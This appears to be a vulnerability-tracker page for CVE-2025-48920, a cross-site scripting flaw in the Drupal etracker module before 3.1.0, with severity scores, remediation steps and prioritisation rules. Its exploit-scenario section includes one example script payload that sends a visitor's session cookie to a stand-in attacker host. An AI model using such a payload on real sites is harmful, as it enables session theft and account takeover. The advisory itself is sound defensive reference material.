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Etracker EUVDEUVD-2025-18290

| CVE-2025-48920 HIGH
Cross-site Scripting (XSS) (CWE-79)
2025-06-13 mlhess@drupal.org
7.3
CVSS 3.1 · NVD
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Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

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Impact

The CVSS 7.3 score reflects high severity with network accessibility (AV:N), low attack complexity (AC:L), no privilege requirements (PR:N), and no user interaction needed (UI:N), indicating a readily exploitable vulnerability. The attack scope is unchanged (S:U) with confidentiality, integrity, and availability impacts (C:L/I:L/A:L). Real-world risk is significant: (1) the module is available to unauthenticated users, (2) exploitation requires only network access with no special conditions, (3) Drupal sites are high-value targets, and (4) XSS vulnerabilities are historically among the most actively exploited web vulnerabilities. Without KEV/CISA confirmation or public POC confirmation from available data, assume this is likely in early disclosure phase with elevated risk trajectory. The combination of low attack complexity, no user interaction requirement, and broad affected user base (any Drupal site with etracker <3.1.0) makes this a critical priority for patching.

Exploit ScenarioDerived

An attacker discovers the etracker module is enabled on a target Drupal site and crafts a malicious URL or form submission containing JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) targeted at an etracker input field (such as a tracking configuration parameter or user-submitted content field processed by the module). Because no user interaction is required (UI:N) and the attack is network-accessible (AV:N), the attacker can: (1) deliver the payload via a phishing email with a link to the vulnerable page, (2) exploit it directly if the vulnerable input is in a public-facing form, or (3) inject it into stored data that other users access. When a victim visits the page, the JavaScript executes in their browser context, allowing the attacker to steal their Drupal session cookie, impersonate them, escalate privileges, or perform administrative actions. For Drupal sites hosting sensitive data (e-commerce, user PII, healthcare), this poses a critical business risk.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 14, 2026

Stored/Reflected Cross-Site Scripting (XSS) vulnerability in the Drupal etracker module that allows unauthenticated remote attackers to inject malicious scripts into web pages without requiring user interaction. The vulnerability affects etracker versions prior to 3.1.0, enabling attackers to steal session tokens, perform unauthorized actions, or redirect users to malicious sites. The CVSS 7.3 score and network-accessible attack vector indicate this is a significant vulnerability affecting any Drupal installation with the vulnerable etracker module enabled.

RemediationAI

Immediate actions: (1) Update the etracker module to version 3.1.0 or later immediately—this is the official patched version that neutralizes the XSS input. (2) If immediate patching is not possible, disable the etracker module temporarily via Drupal admin or drush: drush pm-disable etracker. (3) Implement Content Security Policy (CSP) headers with script-src restrictions to mitigate XSS impact. (4) Review web server logs and database audit logs for evidence of exploitation (unusual script tags in module-related parameters). (5) Force user session invalidation post-patch to clear any stolen tokens. (6) Apply Drupal security updates for core and all contrib modules. Refer to https://www.drupal.org/project/etracker for official advisory and patch downloads.

Affected VersionsENISA

etracker 0.0.0 <3.1.0

Affected Packages

composer drupal/etracker fix: 3.1.0
euvd etracker fix: 3.1.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

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Technical ContextAI · show details

The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), which occurs when user-supplied input is not properly sanitized or escaped before being rendered in HTML context. The Drupal etracker module fails to properly neutralize user inputs that may be reflected or stored in web pages, allowing attackers to inject JavaScript payloads. Drupal's security model relies on proper use of sanitization functions (like Xss::filter() or check_plain()) and output escaping through templating engines. The etracker module likely accepts user input (through form submissions, URL parameters, or configuration) without applying adequate input validation or output encoding, violating OWASP Top 10 2021 A03:2021 - Injection principles.

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Severity by source

NVD PRIMARY 7.3 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Jun 13, 2025 - 16:15 nvd
HIGH 7.3

DescriptionCVE.org

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal etracker allows Cross-Site Scripting (XSS).This issue affects etracker: from 0.0.0 before 3.1.0.

Executive ViewAI

Why It Matters

A Cross-Site Scripting (XSS) vulnerability in Drupal etracker versions below 3.1.0 allows attackers to inject malicious scripts that could compromise user sessions, steal credentials, or deface web pages. Organizations using affected etracker versions face immediate risk of data theft and reputational damage, particularly if the module processes user input or displays untrusted content.

Business Impact: High
Compensating Controls

Deploy WAF rules to detect and block XSS patterns in etracker module requests; implement strict Content Security Policy (CSP) headers to limit script execution; restrict module access to authenticated users only via network ACLs; disable user-facing etracker features if possible; apply input sanitization middleware at the application layer; monitor for exploitation attempts in access logs. Note: These are temporary mitigations only—patch availability must be monitored closely for rapid deployment.

Threat Intelligence Overview

EPSS Score
0.1%
Top 77% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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